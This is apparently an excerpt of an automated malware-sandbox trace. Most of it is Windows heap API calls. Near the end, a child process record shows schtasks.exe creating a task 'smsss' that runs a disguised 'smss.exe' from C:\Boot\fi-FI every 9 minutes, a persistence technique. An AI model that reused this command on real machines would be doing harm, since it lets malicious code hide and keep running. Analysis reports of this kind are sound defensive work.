HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d680) returned 1 [0074.079] GetProcessHeap () returned 0x100000 [0074.079] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d680) returned 0x18 [0074.079] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d680 | out: hHeap=0x100000) returned 1 [0074.079] GetProcessHeap () returned 0x100000 [0074.079] GetProcessHeap () returned 0x100000 [0074.079] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cc70) returned 1 [0074.079] GetProcessHeap () returned 0x100000 [0074.079] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cc70) returned 0x20 [0074.079] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cc70 | out: hHeap=0x100000) returned 1 [0074.080] GetProcessHeap () returned 0x100000 [0074.080] GetProcessHeap () returned 0x100000 [0074.080] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c4d0) returned 1 [0074.080] GetProcessHeap () returned 0x100000 [0074.080] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c4d0) returned 0xe [0074.080] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c4d0 | out: hHeap=0x100000) returned 1 [0074.080] GetProcessHeap () returned 0x100000 [0074.080] GetProcessHeap () returned 0x100000 [0074.080] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c4b0) returned 1 [0074.080] GetProcessHeap () returned 0x100000 [0074.080] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c4b0) returned 0x18 [0074.080] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c4b0 | out: hHeap=0x100000) returned 1 [0074.080] GetProcessHeap () returned 0x100000 [0074.080] GetProcessHeap () returned 0x100000 [0074.080] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115ea0) returned 1 [0074.080] GetProcessHeap () returned 0x100000 [0074.080] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115ea0) returned 0x20 [0074.081] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115ea0 | out: hHeap=0x100000) returned 1 [0074.081] GetProcessHeap () returned 0x100000 [0074.081] GetProcessHeap () returned 0x100000 [0074.081] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11bd90) returned 1 [0074.081] GetProcessHeap () returned 0x100000 [0074.081] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11bd90) returned 0x208 [0074.082] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11bd90 | out: hHeap=0x100000) returned 1 [0074.082] GetProcessHeap () returned 0x100000 [0074.082] GetProcessHeap () returned 0x100000 [0074.082] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11bbf0) returned 1 [0074.082] GetProcessHeap () returned 0x100000 [0074.082] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11bbf0) returned 0x18 [0074.082] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11bbf0 | out: hHeap=0x100000) returned 1 [0074.082] GetProcessHeap () returned 0x100000 [0074.083] GetProcessHeap () returned 0x100000 [0074.083] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115db0) returned 1 [0074.083] GetProcessHeap () returned 0x100000 [0074.083] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115db0) returned 0x20 [0074.083] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115db0 | out: hHeap=0x100000) returned 1 [0074.084] GetProcessHeap () returned 0x100000 [0074.084] GetProcessHeap () returned 0x100000 [0074.084] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d440) returned 1 [0074.084] GetProcessHeap () returned 0x100000 [0074.084] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d440) returned 0x200 [0074.084] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d440 | out: hHeap=0x100000) returned 1 [0074.084] GetProcessHeap () returned 0x100000 [0074.084] GetProcessHeap () returned 0x100000 [0074.084] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11bc30) returned 1 [0074.084] GetProcessHeap () returned 0x100000 [0074.084] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11bc30) returned 0x18 [0074.084] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11bc30 | out: hHeap=0x100000) returned 1 [0074.085] GetProcessHeap () returned 0x100000 [0074.085] GetProcessHeap () returned 0x100000 [0074.085] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115d20) returned 1 [0074.085] GetProcessHeap () returned 0x100000 [0074.085] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115d20) returned 0x20 [0074.085] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115d20 | out: hHeap=0x100000) returned 1 [0074.085] GetProcessHeap () returned 0x100000 [0074.085] GetProcessHeap () returned 0x100000 [0074.085] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c3a0) returned 1 [0074.085] GetProcessHeap () returned 0x100000 [0074.086] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c3a0) returned 0x14 [0074.086] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c3a0 | out: hHeap=0x100000) returned 1 [0074.086] GetProcessHeap () returned 0x100000 [0074.086] GetProcessHeap () returned 0x100000 [0074.086] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c380) returned 1 [0074.086] GetProcessHeap () returned 0x100000 [0074.086] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c380) returned 0x18 [0074.086] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c380 | out: hHeap=0x100000) returned 1 [0074.086] GetProcessHeap () returned 0x100000 [0074.086] GetProcessHeap () returned 0x100000 [0074.086] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115c60) returned 1 [0074.086] GetProcessHeap () returned 0x100000 [0074.086] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115c60) returned 0x20 [0074.086] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115c60 | out: hHeap=0x100000) returned 1 [0074.086] GetProcessHeap () returned 0x100000 [0074.086] GetProcessHeap () returned 0x100000 [0074.087] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c3c0) returned 1 [0074.087] GetProcessHeap () returned 0x100000 [0074.087] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c3c0) returned 0x16 [0074.087] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c3c0 | out: hHeap=0x100000) returned 1 [0074.087] GetProcessHeap () returned 0x100000 [0074.087] GetProcessHeap () returned 0x100000 [0074.087] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c240) returned 1 [0074.087] GetProcessHeap () returned 0x100000 [0074.087] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c240) returned 0x18 [0074.087] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c240 | out: hHeap=0x100000) returned 1 [0074.087] GetProcessHeap () returned 0x100000 [0074.087] GetProcessHeap () returned 0x100000 [0074.087] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115c30) returned 1 [0074.087] GetProcessHeap () returned 0x100000 [0074.087] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115c30) returned 0x20 [0074.087] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115c30 | out: hHeap=0x100000) returned 1 [0074.087] GetProcessHeap () returned 0x100000 [0074.088] GetProcessHeap () returned 0x100000 [0074.088] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11bb70) returned 1 [0074.088] GetProcessHeap () returned 0x100000 [0074.088] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11bb70) returned 0x2 [0074.088] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11bb70 | out: hHeap=0x100000) returned 1 [0074.088] GetProcessHeap () returned 0x100000 [0074.088] GetProcessHeap () returned 0x100000 [0074.088] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115a80) returned 1 [0074.088] GetProcessHeap () returned 0x100000 [0074.088] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115a80) returned 0x20 [0074.088] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115a80 | out: hHeap=0x100000) returned 1 [0074.088] GetProcessHeap () returned 0x100000 [0074.088] GetProcessHeap () returned 0x100000 [0074.088] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115ab0) returned 1 [0074.088] GetProcessHeap () returned 0x100000 [0074.088] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115ab0) returned 0x20 [0074.089] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115ab0 | out: hHeap=0x100000) returned 1 [0074.089] GetProcessHeap () returned 0x100000 [0074.089] GetProcessHeap () returned 0x100000 [0074.089] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115ae0) returned 1 [0074.089] GetProcessHeap () returned 0x100000 [0074.089] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115ae0) returned 0x20 [0074.090] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115ae0 | out: hHeap=0x100000) returned 1 [0074.090] GetProcessHeap () returned 0x100000 [0074.090] GetProcessHeap () returned 0x100000 [0074.090] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115b10) returned 1 [0074.090] GetProcessHeap () returned 0x100000 [0074.090] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115b10) returned 0x20 [0074.090] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115b10 | out: hHeap=0x100000) returned 1 [0074.090] GetProcessHeap () returned 0x100000 [0074.090] GetProcessHeap () returned 0x100000 [0074.090] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cd00) returned 1 [0074.090] GetProcessHeap () returned 0x100000 [0074.090] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cd00) returned 0x20 [0074.091] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cd00 | out: hHeap=0x100000) returned 1 [0074.091] GetProcessHeap () returned 0x100000 [0074.091] GetProcessHeap () returned 0x100000 [0074.091] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d7e0) returned 1 [0074.091] GetProcessHeap () returned 0x100000 [0074.091] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d7e0) returned 0xa [0074.091] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d7e0 | out: hHeap=0x100000) returned 1 [0074.091] GetProcessHeap () returned 0x100000 [0074.091] GetProcessHeap () returned 0x100000 [0074.091] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cd30) returned 1 [0074.091] GetProcessHeap () returned 0x100000 [0074.091] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cd30) returned 0x20 [0074.091] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cd30 | out: hHeap=0x100000) returned 1 [0074.091] GetProcessHeap () returned 0x100000 [0074.091] GetProcessHeap () returned 0x100000 [0074.091] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x117c10) returned 1 [0074.091] GetProcessHeap () returned 0x100000 [0074.091] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x117c10) returned 0x30 [0074.092] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x117c10 | out: hHeap=0x100000) returned 1 [0074.092] GetProcessHeap () returned 0x100000 [0074.092] GetProcessHeap () returned 0x100000 [0074.092] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cd60) returned 1 [0074.092] GetProcessHeap () returned 0x100000 [0074.092] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cd60) returned 0x20 [0074.092] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cd60 | out: hHeap=0x100000) returned 1 [0074.092] GetProcessHeap () returned 0x100000 [0074.092] GetProcessHeap () returned 0x100000 [0074.092] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x117c50) returned 1 [0074.092] GetProcessHeap () returned 0x100000 [0074.092] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x117c50) returned 0x30 [0074.093] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x117c50 | out: hHeap=0x100000) returned 1 [0074.093] GetProcessHeap () returned 0x100000 [0074.093] GetProcessHeap () returned 0x100000 [0074.093] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cf40) returned 1 [0074.093] GetProcessHeap () returned 0x100000 [0074.093] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cf40) returned 0x20 [0074.093] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cf40 | out: hHeap=0x100000) returned 1 [0074.093] GetProcessHeap () returned 0x100000 [0074.093] GetProcessHeap () returned 0x100000 [0074.093] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d700) returned 1 [0074.093] GetProcessHeap () returned 0x100000 [0074.093] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d700) returned 0x10 [0074.093] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d700 | out: hHeap=0x100000) returned 1 [0074.093] GetProcessHeap () returned 0x100000 [0074.093] GetProcessHeap () returned 0x100000 [0074.093] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cf10) returned 1 [0074.093] GetProcessHeap () returned 0x100000 [0074.093] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cf10) returned 0x20 [0074.094] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cf10 | out: hHeap=0x100000) returned 1 [0074.094] GetProcessHeap () returned 0x100000 [0074.094] GetProcessHeap () returned 0x100000 [0074.094] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d720) returned 1 [0074.094] GetProcessHeap () returned 0x100000 [0074.094] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d720) returned 0x10 [0074.094] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d720 | out: hHeap=0x100000) returned 1 [0074.094] GetProcessHeap () returned 0x100000 [0074.094] GetProcessHeap () returned 0x100000 [0074.094] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cee0) returned 1 [0074.094] GetProcessHeap () returned 0x100000 [0074.094] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cee0) returned 0x20 [0074.094] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cee0 | out: hHeap=0x100000) returned 1 [0074.095] GetProcessHeap () returned 0x100000 [0074.095] GetProcessHeap () returned 0x100000 [0074.095] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d740) returned 1 [0074.095] GetProcessHeap () returned 0x100000 [0074.095] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d740) returned 0xe [0074.095] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d740 | out: hHeap=0x100000) returned 1 [0074.095] GetProcessHeap () returned 0x100000 [0074.095] GetProcessHeap () returned 0x100000 [0074.095] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11ceb0) returned 1 [0074.095] GetProcessHeap () returned 0x100000 [0074.095] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11ceb0) returned 0x20 [0074.095] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11ceb0 | out: hHeap=0x100000) returned 1 [0074.095] GetProcessHeap () returned 0x100000 [0074.095] GetProcessHeap () returned 0x100000 [0074.095] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d760) returned 1 [0074.095] GetProcessHeap () returned 0x100000 [0074.095] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d760) returned 0x16 [0074.095] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d760 | out: hHeap=0x100000) returned 1 [0074.095] GetProcessHeap () returned 0x100000 [0074.095] GetProcessHeap () returned 0x100000 [0074.095] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11ce80) returned 1 [0074.095] GetProcessHeap () returned 0x100000 [0074.095] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11ce80) returned 0x20 [0074.096] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11ce80 | out: hHeap=0x100000) returned 1 [0074.096] GetProcessHeap () returned 0x100000 [0074.096] GetProcessHeap () returned 0x100000 [0074.096] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d780) returned 1 [0074.096] GetProcessHeap () returned 0x100000 [0074.096] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d780) returned 0x16 [0074.096] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d780 | out: hHeap=0x100000) returned 1 [0074.096] GetProcessHeap () returned 0x100000 [0074.096] GetProcessHeap () returned 0x100000 [0074.096] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11ce50) returned 1 [0074.096] GetProcessHeap () returned 0x100000 [0074.096] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11ce50) returned 0x20 [0074.096] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11ce50 | out: hHeap=0x100000) returned 1 [0074.096] GetProcessHeap () returned 0x100000 [0074.096] GetProcessHeap () returned 0x100000 [0074.096] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x139e90) returned 1 [0074.096] GetProcessHeap () returned 0x100000 [0074.096] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x139e90) returned 0x82 [0074.097] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x139e90 | out: hHeap=0x100000) returned 1 [0074.097] GetProcessHeap () returned 0x100000 [0074.097] GetProcessHeap () returned 0x100000 [0074.097] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11ce20) returned 1 [0074.097] GetProcessHeap () returned 0x100000 [0074.097] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11ce20) returned 0x20 [0074.097] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11ce20 | out: hHeap=0x100000) returned 1 [0074.097] GetProcessHeap () returned 0x100000 [0074.097] GetProcessHeap () returned 0x100000 [0074.097] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d7c0) returned 1 [0074.097] GetProcessHeap () returned 0x100000 [0074.097] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11d7c0) returned 0xe [0074.097] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11d7c0 | out: hHeap=0x100000) returned 1 [0074.097] GetProcessHeap () returned 0x100000 [0074.097] GetProcessHeap () returned 0x100000 [0074.097] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cdf0) returned 1 [0074.097] GetProcessHeap () returned 0x100000 [0074.097] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cdf0) returned 0x20 [0074.097] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cdf0 | out: hHeap=0x100000) returned 1 [0074.097] GetProcessHeap () returned 0x100000 [0074.097] GetProcessHeap () returned 0x100000 [0074.097] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11bb90) returned 1 [0074.097] GetProcessHeap () returned 0x100000 [0074.098] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11bb90) returned 0x18 [0074.098] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11bb90 | out: hHeap=0x100000) returned 1 [0074.098] GetProcessHeap () returned 0x100000 [0074.098] GetProcessHeap () returned 0x100000 [0074.098] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115b40) returned 1 [0074.098] GetProcessHeap () returned 0x100000 [0074.098] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115b40) returned 0x20 [0074.098] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115b40 | out: hHeap=0x100000) returned 1 [0074.098] GetProcessHeap () returned 0x100000 [0074.098] GetProcessHeap () returned 0x100000 [0074.098] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115b70) returned 1 [0074.098] GetProcessHeap () returned 0x100000 [0074.098] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115b70) returned 0x20 [0074.098] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115b70 | out: hHeap=0x100000) returned 1 [0074.098] GetProcessHeap () returned 0x100000 [0074.098] GetProcessHeap () returned 0x100000 [0074.098] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115ba0) returned 1 [0074.098] GetProcessHeap () returned 0x100000 [0074.099] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115ba0) returned 0x20 [0074.099] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115ba0 | out: hHeap=0x100000) returned 1 [0074.099] GetProcessHeap () returned 0x100000 [0074.099] GetProcessHeap () returned 0x100000 [0074.099] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115bd0) returned 1 [0074.099] GetProcessHeap () returned 0x100000 [0074.099] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115bd0) returned 0x20 [0074.099] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115bd0 | out: hHeap=0x100000) returned 1 [0074.099] GetProcessHeap () returned 0x100000 [0074.099] GetProcessHeap () returned 0x100000 [0074.099] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11bbb0) returned 1 [0074.099] GetProcessHeap () returned 0x100000 [0074.100] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11bbb0) returned 0x18 [0074.100] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11bbb0 | out: hHeap=0x100000) returned 1 [0074.100] GetProcessHeap () returned 0x100000 [0074.100] GetProcessHeap () returned 0x100000 [0074.100] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115c00) returned 1 [0074.100] GetProcessHeap () returned 0x100000 [0074.100] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115c00) returned 0x20 [0074.100] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115c00 | out: hHeap=0x100000) returned 1 [0074.100] GetProcessHeap () returned 0x100000 [0074.100] GetProcessHeap () returned 0x100000 [0074.100] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115c90) returned 1 [0074.100] GetProcessHeap () returned 0x100000 [0074.100] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115c90) returned 0x20 [0074.101] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115c90 | out: hHeap=0x100000) returned 1 [0074.101] GetProcessHeap () returned 0x100000 [0074.101] GetProcessHeap () returned 0x100000 [0074.101] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115cf0) returned 1 [0074.101] GetProcessHeap () returned 0x100000 [0074.101] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115cf0) returned 0x20 [0074.101] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115cf0 | out: hHeap=0x100000) returned 1 [0074.101] GetProcessHeap () returned 0x100000 [0074.101] GetProcessHeap () returned 0x100000 [0074.101] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115d50) returned 1 [0074.101] GetProcessHeap () returned 0x100000 [0074.101] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115d50) returned 0x20 [0074.101] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115d50 | out: hHeap=0x100000) returned 1 [0074.101] GetProcessHeap () returned 0x100000 [0074.101] GetProcessHeap () returned 0x100000 [0074.101] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115d80) returned 1 [0074.101] GetProcessHeap () returned 0x100000 [0074.102] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115d80) returned 0x20 [0074.102] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115d80 | out: hHeap=0x100000) returned 1 [0074.102] GetProcessHeap () returned 0x100000 [0074.102] GetProcessHeap () returned 0x100000 [0074.102] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11bbd0) returned 1 [0074.102] GetProcessHeap () returned 0x100000 [0074.102] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11bbd0) returned 0x18 [0074.102] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11bbd0 | out: hHeap=0x100000) returned 1 [0074.102] GetProcessHeap () returned 0x100000 [0074.102] GetProcessHeap () returned 0x100000 [0074.102] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x115cc0) returned 1 [0074.102] GetProcessHeap () returned 0x100000 [0074.102] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x115cc0) returned 0x20 [0074.103] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x115cc0 | out: hHeap=0x100000) returned 1 [0074.103] GetProcessHeap () returned 0x100000 [0074.103] GetProcessHeap () returned 0x100000 [0074.103] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11bb50) returned 1 [0074.103] GetProcessHeap () returned 0x100000 [0074.103] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11bb50) returned 0x18 [0074.103] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11bb50 | out: hHeap=0x100000) returned 1 [0074.103] exit (_Code=0) Thread: id = 151 os_tid = 0xa18 Process: id = "35" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3c26a000" os_pid = "0x64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"smsss\" /sc MINUTE /mo 9 /tr \"'C:\\Boot\\fi-FI\\smss.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3208 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3209 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3210 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3211 start_va = 0x200000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3212 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3213 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3214 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3215 start_va = 0xff9d0000 end_va = 0xffa17fff monitored = 1 entry_point = 0xff9f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3216 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" 